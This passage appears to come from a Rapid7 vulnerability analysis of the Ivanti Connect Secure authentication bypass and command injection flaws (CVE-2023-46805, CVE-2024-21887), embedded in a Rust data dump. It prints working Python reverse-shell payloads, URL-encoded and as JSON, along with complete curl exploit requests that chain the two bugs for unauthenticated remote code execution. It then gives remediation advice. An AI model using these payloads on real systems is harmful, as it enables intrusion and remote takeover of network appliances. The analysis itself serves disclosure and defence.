'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.86.43\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';\r\n```\r\n\r\nWill be encoded as follows:\r\n\r\n```\r\n%3b%70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%39%32%2e%31%36%38%2e%38%36%2e%34%33%22%2c%34%34%34%34%29%29%3b%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%2c%73%74%64%69%6e%3d%73%2e%66%69%6c%65%6e%6f%28%29%2c%73%74%64%6f%75%74%3d%73%2e%66%69%6c%65%6e%6f%28%29%2c%73%74%64%65%72%72%3d%73%2e%66%69%6c%65%6e%6f%28%29%29%27%3B\r\n```\r\n\r\nAnd we can exploit the appliance with a single curl request and achieve unauthenticated OS command execution:\r\n\r\n```bash\r\n$ curl -ik --path-as-is https://192.168.86.111/api/v1/totp/user-backup-code/../../license/keys-status/%3b%70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%39%32%2e%31%36%38%2e%38%36%2e%34%33%22%2c%34%34%34%34%29%29%3b%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%2c%73%74%64%69%6e%3d%73%2e%66%69%6c%65%6e%6f%28%29%2c%73%74%64%6f%75%74%3d%73%2e%66%69%6c%65%6e%6f%28%29%2c%73%74%64%65%72%72%3d%73%2e%66%69%6c%65%6e%6f%28%29%29%27%3B\r\n```\r\n\r\n![hax1.png](https://raw.githubusercontent.com/sfewer-r7/akb_assets/main/CVE-2023-46805/hax1.png)\r\n\r\nWe have verified that the vendor-supplied mitigation will prevent this exploit from working.\r\n\r\n### Second Command Injection\r\nAs we found several occurrences of `Popen`, we also identified a second authenticated command injection vulnerability. The file `restservice\\api\\resources\\awsazuretestconnection.py` has the following function to handle POST requests to the endpoint `/api/v1/system/maintenance/archiving/cloud-server-test-connection`.\r\n\r\n```py\r\nclass AwsAzureTestConnection(Resource):\r\n\t\r\n\t# ...snip...\r\n\t\r\n\tdef post(self):\r\n        \"\"\"\r\n        Available API\r\n            /api/v1/system/maintenance/archiving/cloud-server-test-connection\r\n        POST Body:\r\n        {\r\n            \"type\":\"AZURE\",\r\n            \"txtS3Server\":\"<AWS-S3-bucket-name>\",\r\n            \"txtS3Directory\":\"<AWS-S3-bucket-location>\",\r\n            \"txtS3User\":\"<AWS-access-key>\",\r\n            \"txtS3Password\":\"<AWS-secret-key>\",\r\n            \"txtazureServer\":\"<Azure-server-name>\",\r\n            \"txtazureUser\":\"<Azure-user-name>\",\r\n            \"txtazurePassword\":\"<Azure-password>\"\r\n        }\r\n\r\n            /api/v1/system/maintenance/archiving/cloud-server-test-connection\r\n        POST Body:\r\n        {\r\n            \"type\": \"GCP\",\r\n            \"txtGCPProject\":\"ProjName\",\r\n            \"txtGCPSecret\":\"/homes/preritc/JsonKey\",\r\n            \"txtGCPPath\":\"Path/DirPath\",\r\n            \"txtGCPBucket\":\"bucket-mumbai\"\r\n        }\r\n        \"\"\"\r\n        server_information = []\r\n        method = \"\"\r\n        if request.path.endswith(\"cloud-server-test-connection\"):\r\n            if request.json is None:\r\n                return make_response(\r\n                    jsonify(self.get_error_response(\"Accepts only JSON\")), 400\r\n                )\r\n            else:\r\n                if \"type\" not in request.json:\r\n                    return make_response(\r\n                        jsonify(\r\n                            self.get_error_response(\r\n                                \"Please specify the Type as AWS or AZURE or GCP\"\r\n                            )\r\n                        ),\r\n                        400,\r\n                    )\r\n                else:\r\n                    tmpKeyFile = None\r\n                    method = request.json.get(\"type\", \"\") # <---\r\n                    if method == \"GCP\":\r\n                        secretKeyJson = request.json.get(\"txtGCPSecret\")\r\n                        if not secretKeyJson:\r\n                            # Secret Key not provided in request body, look for existing config in cache\r\n                            ci = DSCacheItem(\"archive\", \"info\")\r\n                            table = DSUtilTable()\r\n                            ci.getUtilTable(table)\r\n                            secretKeyJson = table.getValue(\"password\")\r\n                            if not secretKeyJson:\r\n                                return make_response(\r\n                                    jsonify(\r\n                                        self.get_error_response(\r\n                                            \"No existing Secret Key configuration found, please upload an appropriate JSON file and try again.\"\r\n                                        )\r\n                                    ),\r\n                                    400,\r\n                                )\r\n\r\n                        try:\r\n                            # Attribute is expected to have file content in base64 encoded format\r\n                            secretKeyJson = base64.b64decode(secretKeyJson)\r\n                            # File with decoded JSON required by CloudStorageClient tool to test the connection\r\n                            tmpKeyFile = tempfile.NamedTemporaryFile(suffix=\".json\")\r\n                            tmpKeyFile.write(secretKeyJson)\r\n                            tmpKeyFile.seek(0)\r\n                            request.json[\"txtGCPSecret\"] = tmpKeyFile.name\r\n                        except (base64.binascii.Error, OSError) as err:\r\n                            return make_response(\r\n                                jsonify(\r\n                                    self.get_error_response(\r\n                                        \"Could not store secret key JSON in temporary file. Error: {0}\".format(\r\n                                            err\r\n                                        )\r\n                                    )\r\n                                ),\r\n                                400,\r\n                            )\r\n\r\n                        for i in gcpserverMajorKeys:\r\n                            if (\r\n                                i in list(request.json.keys())\r\n                                and len(request.json.get(i, \"\")) > 0\r\n                            ):\r\n                                server_information.append(request.json.get(i, \"\"))\r\n                            else:\r\n                                server_information.append(\"None\")\r\n\r\n                    if method == \"AWS\":\r\n                        for i in awsserverMajorKeys:\r\n                            if (\r\n                                i in list(request.json.keys())\r\n                                and len(request.json.get(i, \"\")) > 0\r\n                            ):\r\n                                server_information.append(request.json.get(i, \"\"))\r\n                            else:\r\n                                server_information.append(\"None\")\r\n                    if method == \"AZURE\":\r\n                        for i in azureserverMajorKeys:\r\n                            if (\r\n                                i in list(request.json.keys())\r\n                                and len(request.json.get(i, \"\")) > 0\r\n                            ):\r\n                                server_information.append(request.json.get(i, \"\"))\r\n                            else:\r\n                                server_information.append(\"None\")\r\n                    for i in serverOptionKeys:\r\n                        if (\r\n                            i in list(request.json.keys())\r\n                            and request.json.get(i, \"\") != \"\"\r\n                        ):\r\n                            server_information.append(request.json.get(i, \"\"))\r\n                        else:\r\n                            server_information.append(\"filter_default\")\r\n                    for i in serverCheckKeys:\r\n                        if i in list(request.json.keys()):\r\n                            if request.json.get(i, \"\") == \"ON\":\r\n                                server_information.append(1)\r\n                            else:\r\n                                server_information.append(0)\r\n                    for i in serverUploadLogKeys:\r\n                        if i in list(request.json.keys()):\r\n                            if request.json.get(i, \"\") == \"ON\":\r\n                                server_information.append(1)\r\n                            else:\r\n                                server_information.append(0)\r\n                    for i in serverSensorsLogFilterKeys:\r\n                        if (\r\n                            i in list(request.json.keys())\r\n                            and request.json.get(i, \"\") != \"\"\r\n                        ):\r\n                            server_information.append(request.json.get(i, \"\"))\r\n                        else:\r\n                            server_information.append(\"filter_default\")\r\n                    for i in serverSensorsLogKeys:\r\n                        if i in list(request.json.keys()):\r\n                            if request.json.get(i, \"\") == \"ON\":\r\n                                server_information.append(1)\r\n                        else:\r\n                            server_information.append(0)\r\n                    for i in serverXmlKeys:\r\n                        if i in list(request.json.keys()):\r\n                            if request.json.get(i, \"\") == \"ON\":\r\n                                server_information.append(1)\r\n                        else:\r\n                            server_information.append(0)\r\n                    for i in serverIVSKeys:\r\n                        if i in list(request.json.keys()):\r\n                            if request.json.get(i, \"\") == \"ON\":\r\n                                server_information.append(1)\r\n                        else:\r\n                            server_information.append(0)\r\n                    for i in serverIVSPasswdKeys:\r\n                        if (\r\n                            i in list(request.json.keys())\r\n                            and len(request.json.get(i, \"\")) > 0\r\n                        ):\r\n                            server_information.append(request.json.get(i, \"\"))\r\n                        else:\r\n                            server_information.append(\"None\")\r\n                    for i in serverURSdbKeys:\r\n                        if (\r\n                            i in list(request.json.keys())\r\n                            and len(request.json.get(i, \"\")) > 0\r\n                        ):\r\n                            if len(request.json.get(i, \"\")) > 0:\r\n                                server_information.append(1)\r\n                        else:\r\n                            server_information.append(0)\r\n                    for i in serverURSPasswordKeys:\r\n                        if (\r\n                            i in list(request.json.keys())\r\n                            and len(request.json.get(i, \"\")) > 0\r\n                        ):\r\n                            if len(request.json.get(i, \"\")) > 0:\r\n                                server_information.append(1)\r\n                        else:\r\n                            server_information.append(0)\r\n                    for i in serverDebugLogKeys:\r\n                        if i in list(request.json.keys()):\r\n                            if request.json.get(i, \"\") == \"ON\":\r\n                                server_information.append(1)\r\n                        else:\r\n                            server_information.append(0)\r\n                    for i in serverSnapShotKeys:\r\n                        if i in list(request.json.keys()):\r\n                            if request.json.get(i, \"\") == \"ON\":\r\n                                server_information.append(1)\r\n                        else:\r\n                            server_information.append(0)\r\n                    if (request.json.get(\"chkExcludeLargeData\", \"\") == \"\") or (\r\n                        \"chkExcludeLargeData\" not in request.json\r\n                    ):\r\n                        server_information.append(0)\r\n                    if request.json.get(\"chkExcludeLargeData\", \"\") == \"ON\":\r\n                        server_information.append(1)\r\n                    if method == \"GCP\":\r\n                        if (\r\n                            \"txtGCPPath\" in list(request.json.keys())\r\n                            and request.json.get(\"txtS3Path\", \"\") != \"\"\r\n                        ):\r\n                            server_information.append(\r\n                                request.json.get(\"txtGCPPath\", \"\")\r\n                            )\r\n                        else:\r\n                            server_information.append(\"\")\r\n                    if method == \"AWS\":\r\n                        if (\r\n                            \"txtS3Path\" in list(request.json.keys())\r\n                            and request.json.get(\"txtS3Path\", \"\") != \"\"\r\n                        ):\r\n                            server_information.append(request.json.get(\"txtS3Path\", \"\"))\r\n                        else:\r\n                            server_information.append(\"\")\r\n                    if method == \"AZURE\":\r\n                        if (\r\n                            \"txtAzurePath\" in list(request.json.keys())\r\n                            and request.json.get(\"txtAzurePath\", \"\") != \"\"\r\n                        ):\r\n                            server_information.append(\r\n                                request.json.get(\"txtAzurePath\", \"\")\r\n                            )\r\n                        else:\r\n                            server_information.append(\"\")\r\n```\r\n\r\nWe can see above that the variable called `method` is set from the request’s JSON content data, via a key called `type`. If an attacker supplies a semicolon delimited OS command in this value it will be executed via `Popen`.\r\n\r\n```py\r\n                    dsinstall = os.environ.get(\"DSINSTALL\")\r\n                    proc = subprocess.Popen(\r\n                        dsinstall\r\n                        + \"/perl5/bin/perl\"\r\n                        + \" \"\r\n                        + dsinstall\r\n                        + \"/perl/AwsAzureTestConnection.pl \"\r\n                        + method # <---\r\n                        + \" \"\r\n                        + \" \".join([str(x) for x in list(server_information)]),\r\n                        shell=True,\r\n                        stdout=subprocess.PIPE,\r\n                    )\r\n```\r\n\r\nUsing the same python reverse shell payload from the first command injection, we can construct a JSON structure to trigger the vulnerability (as the payload is in JSON, it does not need to be URL-encoded).\r\n\r\n```json\r\n{\r\n    \"type\": \";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"192.168.86.35\\\",4444));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';\",\r\n    \"txtGCPProject\": \"a\",\r\n    \"txtGCPSecret\": \"a\",\r\n    \"txtGCPPath\": \"a\",\r\n    \"txtGCPBucket\": \"a\"\r\n}\r\n```\r\n\r\nWhile the endpoint `/api/v1/system/maintenance/archiving/cloud-server-test-connection` is authenticated, we can chain the auth bypass vulnerability and construct an unauthenticated URI path `/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection` to reach this endpoint and exploit the vulnerability.\r\n\r\nA single curl request to achieve unauthenticated OS command execution is then performed as follows:\r\n\r\n```bash\r\ncurl -ik --path-as-is https://192.168.86.111/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \\\"type\\\": \\\";python -c \\'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\\\\"192.168.86.43\\\\\\\",4444));subprocess.call([\\\\\\\"/bin/sh\\\\\\\",\\\\\\\"-i\\\\\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\\';\\\", \\\"txtGCPProject\\\":\\\"a\\\", \\\"txtGCPSecret\\\":\\\"a\\\", \\\"txtGCPPath\\\":\\\"a\\\", \\\"txtGCPBucket\\\":\\\"a\\\" }'\r\n```\r\n\r\n![hax2.png](https://raw.githubusercontent.com/sfewer-r7/akb_assets/main/CVE-2023-46805/hax2.png)\r\n\r\nWe have verified that the vendor supplied mitigation will prevent this exploit from working.\r\n\r\n## Remediation\r\nIvanti disclosed both CVE-2023-46805 and CVE-2024-21887 on January 10, 2024, but this was done prior to the release of official patches, which are scheduled for a staggered release beginning on January 22, 2024. Ivanti has provided an interim solution in the form of an XML mitigation file that blocks access to certain URLs in order to prevent the exploit chain from working. It is highly recommended to apply this interim workaround on an urgent basis.\r\n\r\nA [knowledge base article](https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US) is available for further details on Ivanti’s interim workaround.\r\n\r\n## References\r\n* [Vendor Advisory](https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US)\r\n* [Rapid7 Blog](https://www.rapid7.com/blog/post/2024/01/11/etr-zero-day-exploitation-of-ivanti-connect-secure-and-policy-secure-gateways/)\r\n* [watchTowr Blog](https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/)\r\n",
            ),
            rapid7_analysis_created: Some(
                2024-01-16T13:14:46.067549Z,
            ),
            rapid7_analysis_revision_date: Some(
                2024-01-16T15:17:10.175893Z,
            ),
        },
    },
)

Dependencies

~6–20MB
~302K SLoC